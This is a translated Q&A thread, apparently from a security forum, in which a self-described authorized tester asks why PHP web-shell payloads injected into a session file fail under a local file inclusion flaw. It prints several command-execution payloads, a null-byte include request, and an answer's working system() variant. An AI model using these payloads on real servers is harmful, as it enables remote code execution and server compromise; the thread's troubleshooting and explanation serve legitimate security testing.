codice PHP nella sessione utente LFI filtrato

2

In primo luogo, faccio il disclaimer obbligatorio che tutto ciò che faccio qui è legittimo e pre-autorizzato, ecc. ecc.

Per chi non ha familiarità con l'inclusione del file locale della sessione utente in PHP, c'è un buon esempio qui nella sezione 2.2.4: link

Sto verificando un servizio Web che soffre di una vulnerabilità LFI che può essere sfruttata solo tramite un file di sessione incluso (non ho diritti di lettura / proc / auto / dintorni, log di accesso / errore di Apache, ecc.). Il contenuto del file di sessione originale assomiglia a questo (modificato dall'originale per la segretezza):

user|s:5:"user1";pass|s:4:"pass";sig|s:1:"0";

Posso modificare il parametro sig utilizzando un proxy per intercettare il traffico Web. Ad esempio, cambiando sig = 0 in sig = ciao, vedo:

user|s:5:"user1";pass|s:4:"pass";sig|s:5:"hello";

Finora, tutto bene. Il problema si presenta quando provo a inserire codice PHP invece di una stringa di testo. Usando uno qualsiasi dei codici seguenti, vedo lo stesso risultato:

<?php passthru($_GET['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php exec($_GET['cmd']); ?>

Il file di sessione registra correttamente le lunghezze della stringa di codice, ma i contenuti apparentemente sono filtrati.

user|s:5:"user1";pass|s:4:"pass";sig|s:28:"";

In ogni caso, non riesco a far funzionare il mio codice PHP, poiché non restituisce nulla.

session=/tmp/sess_3ksjdx983klsjg1nsljd92lzs%00&cmd=uname -a

Mi sento come se mi mancasse qualcosa di abbastanza semplice, ma non ho molta esperienza con PHP; quindi, apprezzerei molto tutte le idee.

    
posta AK-33 19.05.2015 - 09:02
fonte

2 risposte

0

Mentre vorrei ancora sapere perché la parte di $_GET['cmd'] del codice sembra rappresentare un problema, ho trovato una soluzione alternativa. Invece di richiamare una variabile GET, risulta che potrei semplicemente eseguire i comandi che voglio direttamente:

<?php system('uname -a'); ?>

E i contenuti vengono visualizzati nella pagina Web in questione.

    
risposta data 19.05.2015 - 11:53
fonte
0

È possibile che tu abbia identificato un percorso trasversale e non un LFI. Se il codice vulnerabile chiama file_get_contents() anziché require() o include() , non analizzerà ed eseguirà il codice php contenuto nel file. Poiché il codice php si trova tra parentesi angolari < e > , non sarà visibile nel browser a meno che tu non veda l'origine della pagina.

    
risposta data 18.08.2015 - 07:38
fonte

Leggi altre domande sui tag